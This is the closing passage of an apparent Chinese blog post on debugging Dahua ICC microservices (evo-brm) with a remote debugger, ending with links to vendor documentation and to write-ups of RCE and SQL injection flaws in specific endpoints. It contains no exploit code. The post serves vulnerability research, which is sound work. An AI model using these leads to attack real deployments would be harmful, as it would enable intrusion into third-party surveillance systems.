192.168.131.46:54197 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:51076 127.0.0.1:3306 ESTABLISHED 24091/evo-brm tcp6 0 0 192.168.131.46:52659 192.168.131.46:8915 ESTABLISHED 24091/evo-brm tcp6 0 0 127.0.0.1:46329 127.0.0.1:6379 ESTABLISHED 24091/evo-brm unix 2 [ ] STREAM CONNECTED 85542 24091/evo-brm unix 2 [ ] STREAM CONNECTED 563766567 17688/evo-brm unix 2 [ ] STREAM CONNECTED 79100 24091/evo-brm unix 2 [ ] STREAM CONNECTED 563786467 17688/evo-brm
|
也就是说,新开debug brm时,没有自动结束原本的微服务,导致只开了个远程调试端口。
后面到evo-brm/bin 执行了 stop.sh,然后再重新start-debug.sh时,就可以了。
总结,重启服务前,记得stop,停止后最好再看一下相应的PID有没有结束;调试微服务要注意有没有多个相同的微服务实例,断点失败时,可能是由于开远程调试的JVM和实际处理请求的微服务不是同一个。
后记
这里主要分析的是两层接口转发,一层在nginx,一层在apigw。由于第一次分析有接口转发的系统,所以花费了不少时间。
附录
https://open-icc.dahuatech.com/#/home?url=%3Fnav%3Dwiki%2Fcommon%2Foverall_introduction.html&version=enterprisebase/5.0.17&blank=true ICC文档
https://support.dahuatech.com/dataDirectory?IsDpValue=GNuuqRr8IGCNXISohq0PRiTwd%2BYZQaHMbRLlnWgQR7LkCpfYouOzHFVzwBlKSIgRXpeQcR4IX0bID%2BbCMvLapd3oYU4GfsTR457ORI9X0aFRyAdZzJvSHdfRbfxqVQQgP2wCGQiL7IfFINK1DdOqEsX6GWYTUv3lU9Wd3OVgQnuAOh73aiPL2I4dPrWvW29eYYV6QgaU4CTuRuA0wQaFUA%3D%3D 软件资料
参考
https://xz.aliyun.com/news/18518 /evo-runs/v1.0/receive RCE
https://www.cnblogs.com/Domren/articles/19010351 /evo-runs/v1.0/push RCE
https://www.cnblogs.com/Domren/articles/19473055 ars/list 接口存在SQL注入